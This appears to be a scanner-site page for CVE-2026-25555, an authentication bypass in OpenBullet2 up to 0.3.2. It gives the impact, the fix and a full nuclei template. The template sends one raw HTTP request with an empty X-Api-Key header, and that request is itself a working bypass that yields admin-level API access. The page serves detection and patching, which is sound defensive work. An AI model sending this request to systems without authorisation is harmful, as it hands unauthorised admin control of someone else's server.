OpenBullet2 <= 0.3.2 - Authentication Bypass

criticalseverity

9.8CVSS score

2.3%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

OpenBullet2 <= 0.3.2 contains an authentication bypass caused by improper API key authentication middleware handling empty X-Api-Key header, letting unauthenticated attackers gain admin access, exploit requires sending empty X-Api-Key header.

Impact

Unauthenticated attackers can gain full admin access, compromising the entire system and API endpoints.

Fix

Update to a version later than 0.3.2 or the latest available version.

How to confirm it

Send: GET /api/v1/info/server
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"operatingSystem\"", "\"buildNumber\"", "\"currentWorkingDirectory\"")

Run it with nuclei: nuclei -id CVE-2026-25555 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-25555

info:
  name: OpenBullet2 <= 0.3.2 - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
   OpenBullet2 <= 0.3.2 contains an authentication bypass caused by improper API key authentication middleware handling empty X-Api-Key header, letting unauthenticated attackers gain admin access, exploit requires sending empty X-Api-Key header.
  impact: |
   Unauthenticated attackers can gain full admin access, compromising the entire system and API endpoints.
  remediation: |
    Update to a version later than 0.3.2 or the latest available version.
  reference:
    - https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25555
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-25555
    epss-score: 0.02261
    epss-percentile: 0.83133
    cwe-id: CWE-287
  metadata:
    verified: false
    max-request: 1
    vendor: openbullet
    product: openbullet2
    fofa-query: title="Openbullet2WebClient"
  tags: cve,cve2026,openbullet2,auth-bypass,unauth

http:
  - raw:
      - |
        GET /api/v1/info/server HTTP/1.1
        Host: {{Hostname}}
        X-Api-Key:

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"operatingSystem\"", "\"buildNumber\"", "\"currentWorkingDirectory\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from